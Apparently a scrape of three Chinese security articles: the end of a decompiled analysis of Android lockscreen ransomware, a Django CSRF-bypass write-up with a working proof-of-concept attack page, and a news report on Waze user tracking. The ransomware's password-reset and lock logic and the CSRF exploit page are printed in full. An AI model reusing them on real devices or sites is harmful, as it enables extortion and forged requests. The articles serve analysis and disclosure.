00000088 iput v0, v15, WindowManager$LayoutParams->flags:I # this.wmParams.flags = 0x0500
0000008C move-object v15, v1
0000008E iget-object v15, v15, s->wmParams:WindowManager$LayoutParams
00000092 const/16 v16, 49
00000096 move/from16 v0, v16
0000009A iput v0, v15, WindowManager$LayoutParams->gravity:I # this.wmParams.gravity = 49
0000009E move-object v15, v1
000000A0 iget-object v15, v15, s->wmParams:WindowManager$LayoutParams
000000A4 const/16 v16, 0
000000A8 move/from16 v0, v16
000000AC iput v0, v15, WindowManager$LayoutParams->x:I # this.wmParams.x = 0
000000B0 move-object v15, v1
000000B2 iget-object v15, v15, s->wmParams:WindowManager$LayoutParams
000000B6 const/16 v16, 0
000000BA move/from16 v0, v16
000000BE iput v0, v15, WindowManager$LayoutParams->y:I # this.wmParams.y = 0
000000C2 move-object v15, v1
000000C4 iget-object v15, v15, s->wmParams:WindowManager$LayoutParams
000000C8 const/16 v16, -0x0001
000000CC move/from16 v0, v16
000000D0 iput v0, v15, ViewGroup$LayoutParams->width:I # this.wmParams.width=0x0001
000000D4 move-object v15, v1
000000D6 iget-object v15, v15, s->wmParams:WindowManager$LayoutParams
000000DA const/16 v16, -0x0001
000000DE move/from16 v0, v16
000000E2 iput v0, v15, ViewGroup$LayoutParams->height:I # this.wmParams.height = -0x0001
000000E6 move-object v15, v1
000000E8 invoke-virtual s->getApplication()Application, v15
000000EE move-result-object v15
000000F0 invoke-static LayoutInflater->from(Context)LayoutInflater, v15
000000F6 move-result-object v15
000000F8 move-object v3, v15
000000FA move-object v15, v1
000000FC move-object/from16 v16, v3
00000100 const v17, 0x7F030001
00000106 const/16 v18, 0
0000010A check-cast v18, ViewGroup
0000010E invoke-virtual/range LayoutInflater->inflate(I, ViewGroup)View, v16 .. v18
00000114 move-result-object v16
00000116 move-object/from16 v0, v16
0000011A iput-object v0, v15, s->mFloatLayout:View # this.mFloatLayout = LayoutInflater.from(this.getApplication).inflate(0x7F030001, 0)
0000011E move-object v15, v1
00000120 iget-object v15, v15, s->mWindowManager:WindowManager
00000124 move-object/from16 v16, v1
00000128 move-object/from16 v0, v16
0000012C iget-object v0, v0, s->mFloatLayout:View
00000130 move-object/from16 v16, v0
00000134 move-object/from16 v17, v1
00000138 move-object/from16 v0, v17
0000013C iget-object v0, v0, s->wmParams:WindowManager$LayoutParams
00000140 move-object/from16 v17, v0
00000144 invoke-interface/range WindowManager->addView(View, ViewGroup$LayoutParams)V, v15 .. v17 # this.mWindowManager.addView(this.mFloatLayout, this.wmParams)
0000014A move-object v15, v1
0000014C move-object/from16 v16, v1
00000150 move-object/from16 v0, v16
00000154 iget-object v0, v0, s->mFloatLayout:View
00000158 move-object/from16 v16, v0
0000015C const/high16 v17, 0x7F0A0000
00000160 invoke-virtual/range View->findViewById(I)View, v16 .. v17
00000166 move-result-object v16
00000168 check-cast v16, TextView
0000016C move-object/from16 v0, v16
00000170 iput-object v0, v15, s->wb:TextView # this.wb = mFloatLayout.findViewById(0x7F0A0000)
00000174 move-object v15, v1
00000176 move-object/from16 v16, v1
0000017A move-object/from16 v0, v16
0000017E iget-object v0, v0, s->mFloatLayout:View
00000182 move-object/from16 v16, v0
00000186 const v17, 0x7F0A0001
0000018C invoke-virtual/range View->findViewById(I)View, v16 .. v17
00000192 move-result-object v16
00000194 check-cast v16, TextView
00000198 move-object/from16 v0, v16
0000019C iput-object v0, v15, s->bah:TextView
000001A0 move-object v15, v1
000001A2 move-object/from16 v16, v1
000001A6 move-object/from16 v0, v16
000001AA iget-object v0, v0, s->mFloatLayout:View
000001AE move-object/from16 v16, v0
000001B2 const v17, 0x7F0A0002
000001B8 invoke-virtual/range View->findViewById(I)View, v16 .. v17
000001BE move-result-object v16
000001C0 check-cast v16, TextView
000001C4 move-object/from16 v0, v16
000001C8 iput-object v0, v15, s->cjk:TextView
000001CC move-object v15, v1
000001CE move-object/from16 v16, v1
000001D2 move-object/from16 v0, v16
000001D6 iget-object v0, v0, s->mFloatLayout:View
000001DA move-object/from16 v16, v0
000001DE const v17, 0x7F0A0003
000001E4 invoke-virtual/range View->findViewById(I)View, v16 .. v17
000001EA move-result-object v16
000001EC check-cast v16, TextView
000001F0 move-object/from16 v0, v16
000001F4 iput-object v0, v15, s->tv:TextView
:1F8
000001F8 new-instance v15, StringBuffer
000001FC move-object/from16 v19, v15
00000200 move-object/from16 v15, v19
00000204 move-object/from16 v16, v19
00000208 invoke-direct/range StringBuffer-><init>()V, v16 .. v16 # stringbuffer = new StringBuffer()
0000020E move-object/from16 v16, v1
00000212 move-object/from16 v0, v16
00000216 iget-object v0, v0, s->Lycorisradiata:String # this.Lycorisradiata
0000021A move-object/from16 v16, v0
0000021E invoke-virtual/range StringBuffer->append(String)StringBuffer, v15 .. v16 # stringbuffer.append(this.Lycorisradiata)
00000224 move-result-object v15
00000226 const-string v16, "626fcaf7df0278de9aff3aaca97a5b8c88fd66ed54f277cc91852adc95565ff06a5cfa22ea1bf0c0fae034132b8a4d212ba95bad14ad34cb812d751d9e47c41df05c9fffa333772bcd5089b13e5600c8fd9587ce8f403c4d5b8156d4d24c94bfd4ed91fb50e3c6a89f070393ab0a03f3"
0000022A invoke-virtual/range StringBuffer->append(String)StringBuffer, v15 .. v16 # stringbuffer.append(v16)
00000230 move-result-object v15
00000232 invoke-virtual StringBuffer->toString()String, v15
00000238 move-result-object v15
0000023A move-object v4, v15
0000023C new-instance v15, StringBuffer
00000240 move-object/from16 v19, v15
00000244 move-object/from16 v15, v19
00000248 move-object/from16 v16, v19
0000024C invoke-direct/range StringBuffer-><init>()V, v16 .. v16 # stringbuffer2 = new StringBuffer()
00000252 move-object/from16 v16, v1
00000256 move-object/from16 v0, v16
0000025A iget-object v0, v0, s->Lycorisradiata:String
0000025E move-object/from16 v16, v0
00000262 invoke-virtual/range StringBuffer->append(String)StringBuffer, v15 .. v16 # stringbuffer2.append(this.Lycorisradiata)
00000268 move-result-object v15
0000026A const-string v16, "60ee210a612f306f774a08a5a865c657ead0311698369b26d95e1c6151b5ee326053086a53edd02dafd2ceff8b6797ceeb75bdd4821b3eb747f256bb22696f8854ba778baee912cbc74042d306579e70cf0965d9cb30c048"
0000026E invoke-virtual/range StringBuffer->append(String)StringBuffer, v15 .. v16 # stringbuffer2.append(v16)
00000274 move-result-object v15
00000276 invoke-virtual StringBuffer->toString()String, v15
0000027C move-result-object v15
0000027E move-object v5, v15
00000280 new-instance v15, StringBuffer
00000284 move-object/from16 v19, v15
00000288 move-object/from16 v15, v19
0000028C move-object/from16 v16, v19
00000290 invoke-direct/range StringBuffer-><init>()V, v16 .. v16 # stringbuffer3 = new StringBuffer()
00000296 move-object/from16 v16, v1
0000029A move-object/from16 v0, v16
0000029E iget-object v0, v0, s->Lycorisradiata:String
000002A2 move-object/from16 v16, v0
000002A6 invoke-virtual/range StringBuffer->append(String)StringBuffer, v15 .. v16 # stringbuffer3.append(this.Lycorisradiata)
000002AC move-result-object v15
000002AE const-string v16, "ebbcd47d6afa253eba111409c5ebe0a3751098207629ac6dcf5ffadff17f0330e3ed51aa320a6b30a613feffaf16a7bf"
000002B2 invoke-virtual/range StringBuffer->append(String)StringBuffer, v15 .. v16 # stringbuffer3.append(v16)
000002B8 move-result-object v15
000002BA invoke-virtual StringBuffer->toString()String, v15
000002C0 move-result-object v15
000002C2 move-object v6, v15
000002C4 move-object v15, v4
000002C6 invoke-static DU->getbah(String)String, v15
000002CC move-result-object v15
000002CE move-object v7, v15
000002D0 move-object v15, v5
000002D2 invoke-static DU->getbah(String)String, v15
000002D8 move-result-object v15
000002DA move-object v8, v15
000002DC move-object v15, v6
000002DE invoke-static DU->getbah(String)String, v15
000002E4 move-result-object v15
000002E6 move-object v9, v15
000002E8 move-object v15, v1
000002EA iget-object v15, v15, s->wb:TextView
000002EE move-object/from16 v16, v1
000002F2 move-object/from16 v0, v16
000002F6 iget-object v0, v0, s->des:DU
000002FA move-object/from16 v16, v0
000002FE move-object/from16 v17, v7
00000302 invoke-virtual/range DU->decrypt(String)String, v16 .. v17
00000308 move-result-object v16
0000030A invoke-virtual/range TextView->append(CharSequence)V, v15 .. v16 # s.wb.append(s.des.decrypt(DU.getbah(v4)))
00000310 move-object v15, v1
00000312 iget-object v15, v15, s->bah:TextView
00000316 move-object/from16 v16, v1
0000031A move-object/from16 v0, v16
0000031E iget-object v0, v0, s->des:DU
00000322 move-object/from16 v16, v0
00000326 move-object/from16 v17, v8
0000032A invoke-virtual/range DU->decrypt(String)String, v16 .. v17
00000330 move-result-object v16
00000332 invoke-virtual/range TextView->append(CharSequence)V, v15 .. v16 # s.wb.append(s.des.decrypt(DU.getbah(v5)))
00000338 move-object v15, v1
0000033A invoke-virtual s->getResources()Resources, v15
00000340 move-result-object v15
00000342 const/high16 v16, 0x7F060000
00000346 invoke-virtual/range Resources->openRawResource(I)InputStream, v15 .. v16
0000034C move-result-object v15
0000034E move-object v10, v15
00000350 move-object v15, v10
00000352 invoke-static BAH->getString(InputStream)String, v15 # string = BAH.getString(s.getResources().openRawResource(0x7F060000))
00000358 move-result-object v15
0000035A move-object v11, v15
0000035C move-object v15, v11
0000035E const-string v16, "\n"
00000362 const-string v17, ""
00000366 invoke-virtual/range String->replaceAll(String, String)String, v15 .. v17 # string.replaceAll("\n", "")
0000036C move-result-object v15
0000036E move-object v12, v15
00000370 move-object v15, v12
00000372 invoke-static DU->getsss(String)String, v15
00000378 move-result-object v15
0000037A move-object v13, v15
0000037C move-object v15, v1
0000037E iget-object v15, v15, s->cjk:TextView
00000382 move-object/from16 v16, v13
00000386 invoke-virtual/range TextView->append(CharSequence)V, v15 .. v16 # s.cjk.append(DU.getsss(string))
0000038C move-object v15, v1
0000038E iget-object v15, v15, s->tv:TextView
00000392 move-object/from16 v16, v1
00000396 move-object/from16 v0, v16
0000039A iget-object v0, v0, s->des:DU
0000039E move-object/from16 v16, v0
000003A2 move-object/from16 v17, v9
000003A6 invoke-virtual/range DU->decrypt(String)String, v16 .. v17
000003AC move-result-object v16
000003AE invoke-virtual/range TextView->append(CharSequence)V, v15 .. v16
:3B4
000003B4 return-void
:3B6
000003B6 move-exception v15
000003B8 move-object v4, v15
000003BA goto :3B4
.catch Exception {:1F8 .. :3B4} :3B6
.end method
**s服务小结** ：主要提供解锁服务和一些布局界面的设置
* 2) 开机完成的广播接收器`bbb`
<receiver android:name="bbb">
<intent-filter android:priority="2147483647">
<action android:name="android.intent.action.BOOT_COMPLETED" />
</intent-filter>
</receiver>
很明显，由下面的分析可以知道这是一个开机启动s服务的广播
.method public onReceive(Context, Intent)V
.registers 18
.annotation system Signature
value = {
"(",
"Landroid/content/Context;",
"Landroid/content/Intent;",
")V"
}
.end annotation
.annotation runtime Override
.end annotation
00000000 move-object v0, p0
00000002 move-object/from16 v1, p1
00000006 move-object/from16 v2, p2 # mIntent
0000000A move-object v7, v2
0000000C invoke-virtual Intent->getAction()String, v7
00000012 move-result-object v7
00000014 const-string v8, "android.intent.action.BOOT_COMPLETED"
00000018 invoke-virtual String->equals(Object)Z, v7, v8 # mIntent.getAction.equals("android.intent.action.BOOT_COMPLETED")
0000001E move-result v7
00000020 if-eqz v7, :66
:24
00000024 move-object v7, v0
00000026 invoke-virtual bbb->abortBroadcast()V, v7 # this.abortBroadcast()
0000002C new-instance v7, Intent
00000030 move-object v14, v7
00000032 move-object v7, v14
00000034 move-object v8, v14
00000036 move-object v9, v1
:38
00000038 const-string v10, "com.cjk.s"
0000003C invoke-static Class->forName(String)Class, v10 # class.forName("com.cjk.s")
:42
00000042 move-result-object v10
00000044 invoke-direct Intent-><init>(Context, Class)V, v8, v9, v10 # intent2 = new Intent(context, class.forName("com.cjk.s"))
0000004A move-object v4, v7
0000004C move-object v7, v4
0000004E const/high16 v8, 0x10000000
00000052 invoke-virtual Intent->addFlags(I)Intent, v7, v8 # intent2.addFlags(0x10000000)
00000058 move-result-object v7
0000005A move-object v7, v1
0000005C move-object v8, v4
0000005E invoke-virtual Context->startService(Intent)ComponentName, v7, v8 # startService(intent2)
00000064 move-result-object v7
:66
00000066 return-void
* 3)设备管理员激活时的广播接收器
<receiver android:description="@string/hello" android:name=".MyAdmin">
<meta-data android:name="android.app.device_admin" android:resource="@xml/my_admin" />
<intent-filter>
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
</intent-filter>
</receiver>
一旦用户点击确认激活设备管理器，首先执行onEnabled方法，重置锁屏密码，然后触发密码更改后调用的方法onPasswordChanged，进行了锁屏行为，并且在用户想要解除该设备管理员身份的时候也会进行锁屏行为
.method public onEnabled(Context, Intent)V
.registers 22
.annotation system Signature
value = {
"(",
"Landroid/content/Context;",
"Landroid/content/Intent;",
")V"
}
.end annotation
.annotation runtime Override
.end annotation
00000000 move-object/from16 v0, p0
00000004 move-object/from16 v1, p1
00000008 move-object/from16 v2, p2
0000000C move-object v11, v1
0000000E invoke-virtual Context->getResources()Resources, v11
00000014 move-result-object v11
00000016 const v12, 0x7F060002
0000001C invoke-virtual Resources->openRawResource(I)InputStream, v11, v12
00000022 move-result-object v11
00000024 move-object v4, v11
00000026 move-object v11, v4
00000028 invoke-static BAH->getString(InputStream)String, v11 # BAH.getString(context.getResources().openRawResource(0x7f060002))
0000002E move-result-object v11
00000030 move-object v5, v11
00000032 move-object v11, v5
00000034 const-string v12, "\n"
00000038 const-string v13, ""
0000003C invoke-virtual String->replaceAll(String, String)String, v11, v12, v13
00000042 move-result-object v11
00000044 move-object v6, v11
00000046 move-object v11, v6
00000048 invoke-static DU->getsss(String)String, v11 # passwd = DU.getsss(BAH.getString(context.getResources().openRawResource(0x7f060002)).replace("\n", ""))
0000004E move-result-object v11
00000050 move-object v7, v11
00000052 new-instance v11, Intent
00000056 move-object/from16 v18, v11
0000005A move-object/from16 v11, v18
0000005E move-object/from16 v12, v18
00000062 move-object v13, v1
:64
00000064 const-string v14, "com.cjk.s"
00000068 invoke-static Class->forName(String)Class, v14
:6E
0000006E move-result-object v14
00000070 invoke-direct Intent-><init>(Context, Class)V, v12, v13, v14 # intent = new Intent(Class.forName("com.cjk.s"))
00000076 move-object v8, v11
00000078 move-object v11, v8
0000007A const/high16 v12, 0x10000000
0000007E invoke-virtual Intent->setFlags(I)Intent, v11, v12
00000084 move-result-object v11
00000086 move-object v11, v1
00000088 move-object v12, v8
0000008A invoke-virtual Context->startService(Intent)ComponentName, v11, v12 # startService(intent)
00000090 move-result-object v11
00000092 move-object v11, v0
00000094 move-object v12, v1
00000096 invoke-virtual MyAdmin->getManager(Context)DevicePolicyManager, v11, v12 # this.getManager(context)
0000009C move-result-object v11
0000009E move-object v12, v7
000000A0 const/4 v13, 0
000000A2 invoke-virtual DevicePolicyManager->resetPassword(String, I)Z, v11, v12, v13 # this.getManager(context).resetPassword(passwd, 0)
000000A8 move-result v11
000000AA move-object v11, v0
000000AC move-object v12, v1
000000AE move-object v13, v2
000000B0 invoke-super DeviceAdminReceiver->onEnabled(Context, Intent)V, v11, v12, v13
000000B6 return-void
代码大致相同，不再赘述
@Override public void onPasswordChanged(Context arg13, Intent arg14) {
String v7 = DU.getsss(BAH.getString(arg13.getResources().openRawResource(0x7F060002)).replaceAll("\n", ""));
this.getManager(arg13).lockNow();
this.getManager(arg13).resetPassword(v7, 0);
super.onPasswordChanged(arg13, arg14);
}
@Override public CharSequence onDisableRequested(Context arg13, Intent arg14) {
String v7 = DU.getsss(BAH.getString(arg13.getResources().openRawResource(0x7F060002)).replaceAll("\n", ""));
this.getManager(arg13).lockNow();
this.getManager(arg13).resetPassword(v7, 0);
return super.onDisableRequested(arg13, arg14);
}
* 4) 启动Activity
主要在oncreate方法中，调用了开启激活设备管理员的界面
.method private activiteDevice()V
.registers 15
.annotation system Signature
value = {
"()V"
}
.end annotation
00000000 move-object v0, p0
00000002 new-instance v6, Intent
00000006 move-object v13, v6
00000008 move-object v6, v13
0000000A move-object v7, v13
0000000C const-string v8, "android.app.action.ADD_DEVICE_ADMIN"
00000010 invoke-direct Intent-><init>(String)V, v7, v8 # intent = new Intent("android.app.action.ADD_DEVICE_ADMIN")
00000016 move-object v2, v6
00000018 new-instance v6, ComponentName
0000001C move-object v13, v6
0000001E move-object v6, v13
00000020 move-object v7, v13
00000022 move-object v8, v0
:24
00000024 const-string v9, "com.cjk.MyAdmin"
00000028 invoke-static Class->forName(String)Class, v9 # Class.forName("com.cjk.MyAdmin")
:2E
0000002E move-result-object v9
00000030 invoke-direct ComponentName-><init>(Context, Class)V, v7, v8, v9 # mConponent = new ComponentName(this, Class.forName("com.cjk.MyAdmin"))
00000036 move-object v3, v6
00000038 move-object v6, v2
0000003A const-string v7, "android.app.extra.DEVICE_ADMIN"
0000003E move-object v8, v3
00000040 invoke-virtual Intent->putExtra(String, Parcelable)Intent, v6, v7, v8 # intent.putExtra("android.app.extra.DEVICE_ADMIN", mConponent)
00000046 move-result-object v6
00000048 move-object v6, v0
0000004A move-object v7, v2
0000004C const/4 v8, 0
0000004E invoke-virtual M->startActivityForResult(Intent, I)V, v6, v7, v8 # startActivityForResult(intent, 0)
# 总结
至此，基本全部分析完毕，主要在这个分析的过程中来了解smali语法，当编译成java的语法出错时可以看汇编代码，当然也可以尝试进行一些软件破解行为。
# 参考
> google官方smali语法 <https://source.android.com/devices/tech/dalvik/dalvik-> bytecode>
> Dalvik opcodes <http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html>
> 深入理解Dalvik字节码指令及Smali文件
> <https://blog.csdn.net/dd864140130/article/details/52076515> | 社区文章 |
**Author: p0wd3r (知道创宇404安全实验室)**
**Date: 2016-09-28**
## 0x00 漏洞概述
### 1.漏洞简介
[Django](https://www.djangoproject.com)是一个由Python写成的开源Web应用框架。在两年前有研究人员在hackerone上提交了一个利用Google
Analytics来绕过Django的CSRF防护机制的漏洞([CSRF protection bypass on any Django powered
site via Google
Analytics](https://hackerone.com/reports/26647))，通过该漏洞，当一个网站使用了Django作为Web框架并且设置了Django的CSRF防护机制，同时又使用了Google
Analytics的时候，攻击者可以构造请求来对CSRF防护机制进行绕过。
### 2.漏洞影响
网站满足以下三个条件的情况下攻击者可以绕过Django的CSRF防护机制：
* 使用Google Analytics来做数据统计
* 使用Django作为Web框架
* 使用基于Cookie的CSRF防护机制（Cookie中的某个值和请求中的某个值必须相等）
### 3.影响版本
Django 1.9.x < 1.9.10
Django 1.8.x < 1.8.15
Python2 < 2.7.9
Python3 < 3.2.7
## 0x01 漏洞复现
### 1\. 环境搭建
1. pip install django==1.9.9
2. django-admin startproject project
3. cd project
4. python manage.py startapp app
5. cd app
6. 将 'app' 添加到 project/project/settings.py 中的 INSTALLDE_APPS 列表中
7. 更改或添加下列文件：
`project/app/views.py`:
from django.shortcuts import render
from django.http import HttpResponse
# Create your views here.
def check(req):
if req.method == 'POST':
return HttpResponse('CSRF check successfully!')
else:
return render(req, 'check.html')
def ga(req):
return render(req, 'ga.html')
`project/project/urls.py`:
from django.conf.urls import url
from django.contrib import admin
from app.views import check, ga
urlpatterns = [
url(r'^admin/', admin.site.urls),
url(r'^check/', check, name='check'),
url(r'^ga/', ga, name='ga'),
]
`project/app/templates/check.html`：
<form action="/check/" method="POST">
{% csrf_token %}
<input type="submit" value="Check"></input>
</form>
`project/app/templates/ga.html`（放置Goolge Analytics脚本的页面）：
<script type="text/javascript">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-XXXXX-X']);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
</script>
最后运行开启Django内置server：
# project/
python manage.py runserver
### 2.漏洞分析
我们先来看这样一个场景：
当python内置的`Cookie.SimpleCookie()`解析`a=hello]b=world`这种形式的字符串时会以`]`作为分隔，最后取得`a=hello`和`b=world`这两个cookie，那么为什么会这样呢？
我们看一下源码，Ubuntu下`/usr/lib/python2.7/Cookie.py`第622-663行：
def load(self, rawdata):
"""Load cookies from a string (presumably HTTP_COOKIE) or
from a dictionary. Loading cookies from a dictionary 'd'
is equivalent to calling:
map(Cookie.__setitem__, d.keys(), d.values())
"""
if type(rawdata) == type(""):
self.__ParseString(rawdata)
else:
# self.update() wouldn't call our custom __setitem__
for k, v in rawdata.items():
self[k] = v
return
# end load()
def __ParseString(self, str, patt=_CookiePattern):
i = 0 # Our starting point
n = len(str) # Length of string
M = None # current morsel
while 0 <= i < n:
# Start looking for a cookie
match = patt.search(str, i)
if not match: break # No more cookies
K,V = match.group("key"), match.group("val")
i = match.end(0)
...
当传入`load`一个字符串时，调用`__ParseString`，在`__ParseString`中有这样一句：`match =
patt.search(str,
i)`，根据之前定义的pattern来查找字符串中符合pattern的cookie，`_CookiePattern`在529-545行：
_LegalCharsPatt = r"[\w\d!#%&'~_`><@,:/\$\*\+\-\.\^\|\)\(\?\}\{\=]"
_CookiePattern = re.compile(
r"(?x)" # This is a Verbose pattern
r"(?P<key>" # Start of group 'key'
""+ _LegalCharsPatt +"+?" # Any word of at least one letter, nongreedy
r")" # End of group 'key'
r"\s*=\s*" # Equal Sign
r"(?P<val>" # Start of group 'val'
r'"(?:[^\\"]|\\.)*"' # Any doublequoted string
r"|" # or
r"\w{3},\s[\s\w\d-]{9,11}\s[\d:]{8}\sGMT" # Special case for "expires" attr
r"|" # or
""+ _LegalCharsPatt +"*" # Any word or empty string
r")" # End of group 'val'
r"\s*;?" # Probably ending in a semi-colon
)
在这里我们看到`]`并没有在`_LegalCharsPatt`中，由于代码中使用的是`search`函数，所以在匹配`a=hello`后碰到`]`会跳过这个字符然后再匹配`b=world`。因此正是因为使用`search`函数来匹配，所以理论上当`a=hello`后面是任意一个不在`_LegalCharsPatt`中的字符都会达到同样的效果，我们实际测试一下：
除了这些字符本身，我们也可以使用这些字符的十六进制和八进制表示来触发漏洞。有一点需要注意的是，使用`\`来触发漏洞需要对其进行转义：`a=hello\\b=world`。
这个漏洞也正是整个Bypass的核心所在。
我们再来看Django（1.9.9）中对cookie的解析，在`http/cookie.py`中第91-106行：
def parse_cookie(cookie):
if cookie == '':
return {}
if not isinstance(cookie, http_cookies.BaseCookie):
try:
c = SimpleCookie()
c.load(cookie)
except http_cookies.CookieError:
# Invalid cookie
return {}
else:
c = cookie
cookiedict = {}
for key in c.keys():
cookiedict[key] = c.get(key).value
return cookiedict
根据动态调试发现这里的`SimpleCookie`也就是我们上面所说的存在漏洞的对象，从而可以确定Django中对cookie的处理也是存在漏洞的。
我们再来看看Django的CSRF防护机制，默认CSRF防护中间件是开启的，我们访问`http://127.0.0.1:8000/check/`，点击Check然后抓包：
可以看到`csrftoken`和`csrfmiddlewaretoken`的值是相同的，其中`csrfmiddlewaretoken`的值如图：
也就是Django对`check.html`中的`{% csrf_token %}`所赋的值。
我们再改下包，使`csrftoken`和`csrfmiddlewaretoken`不相等，这回服务器就会返回403：
我们再把两个值都改成另外一个值看看：
依然成功。
所以Django对于CSRF的防护就是判断cookie中的`csrftoken`和提交的`csrfmiddlewaretoken`的值是否相等。
那么如果想Bypass这个防护机制，就是要想办法设置受害者的cookie中的`csrftoken`值为攻击者构造的`csrdmiddlewaretoken`的值。
如何设置受害者cookie呢？Google Analytics帮了我们这个忙，它为了追踪用户，会在用户浏览时添加如下cookie：
__utmz=123456.123456789.11.2.utmcsr=[HOST]|utmccn=(referral)|utmcmd=referral|utmcct=[PATH]
其中`[HOST]`和`[PATH]`是由Referer确定的，也就是说当`Referer:
http://x.com/helloworld`时，cookie如下：
__utmz=123456.123456789.11.2.utmcsr=x.com|utmccn=(referral)|utmcmd=referral|utmcct=helloworld
由于Referer是我们可以控制的，所以也就有了设置受害者cookie的可能，但是如何设置`csrftoken`的值呢？
这就用到了我们上面说的Django处理cookie的漏洞，当我们设置Referer为`http://x.com/hello]csrftoken=world`，GA设置的cookie如下：
__utmz=123456.123456789.11.2.utmcsr=x.com|utmccn=(referral)|utmcmd=referral|utmcct=hello]csrftoken=world
当Django解析cookie时就会触发上面说的漏洞，将cookie中`csrftoken`的值赋为`world`。
实际操作一下，为了方便路由我们在另一个IP上再开一个DjangoApp作为中转，其中各文件如下：
`urls.py`:
from django.conf.urls import url
from django.contrib import admin
from app.views import route
urlpatterns = [
url(r'^admin/', admin.site.urls),
url(r'^hello', route)
]
`views.py`:
from django.shortcuts import render
from django.http import HttpResponse
# Create your views here.
def route(req):
return render(req, 'route.html')
`route.html`:
<script> window.location = 'http://127.0.0.1:8000/ga/'; </script>
开启中转App：`python manage.py runserver xxx`
构造一个攻击页面：
<form id="csrf" action="http://127.0.0.1:8000/check/" method="POST">
<input type="hidden" name="csrfmiddlewaretoken" value="boom">
</form>
<script type="text/javascript" charset="utf-8">
function sleep (time) {
return new Promise((resolve) => setTimeout(resolve, time));
}
function poc() {
window.open('http://redirect-server/hello]csrftoken=boom');
sleep(1000).then(() => {
document.getElementById('csrf').submit();
});
}
</script>
<a href='#' onclick=poc()> Click me </a>
当我们点击`Click me`，会先打开一个窗口，再回到原窗口，就可以看到保护机制已经绕过：
再访问一下`http://127.0.0.1:8000/check/`，可以看到此时cookie中的`csrftoken`和form中的`csrfmiddlewaretoken`都已被设置成`boom`，证明漏洞成功触发：
攻击流程如下：
### 3.补丁分析
**Python**
可以看到这个漏洞在根本上是原生Python的漏洞，首先看最早在2.7.9中的patch：
将`search`改成了`match`函数，所以再遇到非法符号匹配会停止。
再看该文件在2.7.10中的patch：
这里将`[\]`设置为了合法的value中的字符，也就是
>>> C.load('__utmz=blah]csrftoken=x')
>>> C
<SimpleCookie: __utmz='blah]csrftoken=x'>
同样Python3在3.2.7和3.3.6中也做了相应patch：
不过尽管上面对`[\]`做了限制，但是由于pattern最后`\s*`的存在，所以在以下情况下仍然存在漏洞：
>>> import Cookie
>>> C = Cookie.SimpleCookie()
>>> C.load('__utmz=blah csrftoken=x')
>>> C.load('__utmz=blah\x09csrftoken=x')
>>> C.load('__utmz=blah\x0bcsrftoken=x')
>>> C.load('__utmz=blah\x0ccsrftoken=x')
>>> C
<SimpleCookie: __utmz='blah' csrftoken='x'>
这些情况在最新的Python中并没有被修复，不过在实际情况中由于浏览器和脚本的原因，这些字符不一定会保存原样发送给Python处理，所以在利用上还要根据场景来分析。
**Django**
Django在1.9.10和1.8.15中做了相同的patch：
它放弃了使用Python内置库来处理cookie，而是自己根据`;`分割再取值，使特殊符号不再起作用。
## 0x02 修复方案
升级Python
升级Django
## 0x03 参考
* https://www.seebug.org/vuldb/ssvid-92447
* <https://hackerone.com/reports/26647>
* <https://github.com/django/django/commit/d1bc980db1c0fffd6d60677e62f70beadb9fe64a>
* <https://developers.google.com/analytics/devguides/collection/analyticsjs/cookie-usage>
* * * | 社区文章 |
# 攻击者可利用Waze来跟踪用户
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://fusion.net/story/293157/waze-hack/>
译文仅供参考，具体内容表达以及含义原文为准。
Waze
是一个免费的应用程序,它可以在苹果IOS操作系统,Android移动操作系统,以及微软的WindowsPhone设备上运行。目前,Waze的用户已遍及全球约190多个国家和地区。Waze可以利用移动设备的GPS信息来获取有关路面的交通流量信息,从而向汽车驾驶员提供更好的行车路线。Waze还拥有一个由7万多名会员组成的社区,这些会员帮助Waze编辑地图和添加一些额外的细节信息,如特定加油站的汽油价格,或是驾驶员在何处应留心超速监视区。以及避免发生交通事故等等。
现在,有上百万的司机正在使用Waze,这款谷歌旗下的导航app可以帮助司机寻找从地点A去到地点B的最快行驶路径。根据研究人员透露的最新信息,这些使用了Waze的用户将有可能被攻击者跟踪,因为攻击者可以获取到用户的行驶路径信息。
最近,加利福尼亚大学圣巴巴拉分校的安全研究人员在Waze中发现了一个安全漏洞,攻击者可以利用这个漏洞创建成千上万个“僵尸用户“,并利用这些“虚拟司机”来监视其他的司机用户。也就是说,攻击者可以利用这个漏洞实时追踪真实的Waze用户。为了证明他们的研究结果,我开车从旧金山去到了拉斯维加斯,他们会对我这次为期三天的旅程进行跟踪。
Ben Zhao是该校计算机科学专业的教授,此次研究正是在他的带领下进行的。他表示:“这个漏洞将会引起非常严重的隐私问题。”
接下来,我会给大家详细讲解该漏洞的工作机制。用于跟用户手机进行通信的Waze服务器使用了SSL加密链接,这种安全防御措施是为了确保Waze服务器在与用户智能手机中Waze程序进行通信时的安全。Ben
Zhao和他的研究生发现,他们可以将自己的计算机设置为手机和服务器通信链路中的一个中间件,并截获所有的通讯数据。当他们成功渗透进了手机与Waze服务器间的通信链路之后,他们就可以对Waze的通信协议进行逆向工程分析,并了解到Waze应用程序是如何与Waze的后台服务器进行交互的。了解到这些信息之后,研究团队就可以编写一个程序,并直接将命令发送给Waze的服务器。这也就意味着,研究人员就可以在Waze的系统中创建出上千台“虚拟的汽车”,而这些汽车就可以制造出堵车的假象,因为Waze实际上可以算是一款社交软件,司机可以利用Waze来报告他们的位置,并查看到这名司机周围其他司机的行驶信息。
这种攻击方式实际上与两年前以色列大学的学生在进行研究时使用的方法十分类似。当时,以色列大学的学生使用了一款模拟设备向Waze发送了大量的“虚拟汽车”,并且制造出了“交通堵塞”的假象。但是如果利用模拟器来模拟一台手机的话,我们在Waze系统中所能创建的“虚拟车辆”数量就十分有限了。与之不同的是,加利福尼亚大学圣巴巴拉分校的研究团队可以在笔记本电脑中利用脚本程序实现这一目的。他们可以利用脚本在Waze系统中创建出上千辆“虚拟车辆”,并对某一特定的区域进行监控。
Ben Zhao和他的研究生在一次测试中,尝试对他们的团队成员进行了攻击(当然是在他允许的情况下)。
Zhao说到:“他行驶了二十到三十英里,我们几乎从始至终都能够追踪到他的位置,他曾在加油站和一家旅馆停留过。”
